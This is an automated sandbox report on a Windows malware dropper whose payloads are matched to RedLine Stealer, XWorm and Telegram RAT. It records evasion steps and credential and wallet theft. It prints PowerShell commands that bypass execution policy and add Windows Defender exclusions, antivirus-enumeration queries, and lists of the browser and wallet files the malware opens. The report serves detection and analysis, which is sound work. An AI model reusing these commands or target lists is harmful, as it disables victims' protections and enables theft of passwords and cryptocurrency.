Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0042327E SetUnhandledExceptionFilter,	0_2_0042327E
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041E48E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041E48E
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_00423D39 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	0_2_00423D39
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041FD8B _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041FD8B
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Code function: 1_2_00007FF630CE1890 SetUnhandledExceptionFilter,	1_2_00007FF630CE1890
Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Code function: 1_2_00007FF630CE1240 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF630CE1240

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: wjoqZlIS.exe.0.dr, NativeHelper.cs	Reference to suspicious API methods: LoadLibrary("kernel32")
Source: wjoqZlIS.exe.0.dr, NativeHelper.cs	Reference to suspicious API methods: GetProcAddress(hModule, "GetConsoleWindow")
Source: YsrQekGS.exe.0.dr, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: YsrQekGS.exe.0.dr, XLogger.cs	Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe "C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe "C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process created: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'YsrQekGS.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_0040C904 cpuid

0_2_0040C904

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		0_2_0040D007
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: GetLocaleInfoA,		0_2_00425CA0

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalcMDL2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalcMDL2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalcMDL2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalcMDL2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalcMDL2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_00411104 GetSystemTime,SystemTimeToFileTime,

0_2_00411104

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_00409B26 GetVersionExW,

0_2_00409B26

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: YsrQekGS.exe, 00000004.00000002.2940564009.000000001C290000.00000004.00000020.00020000.00000000.sdmp, YsrQekGS.exe, 00000004.00000002.2937204022.000000001B7D4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wjoqZlIS.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: YsrQekGS.exe PID: 6564, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 4.0.YsrQekGS.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2912640995.0000000002756000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: YsrQekGS.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumRule
Source: Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: JaxxxLibertyAfihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusRule
Source: powershell.exe, 0000000A.00000002.1759686805.000002174EF13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wjoqZlIS.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2.0.wjoqZlIS.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wjoqZlIS.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

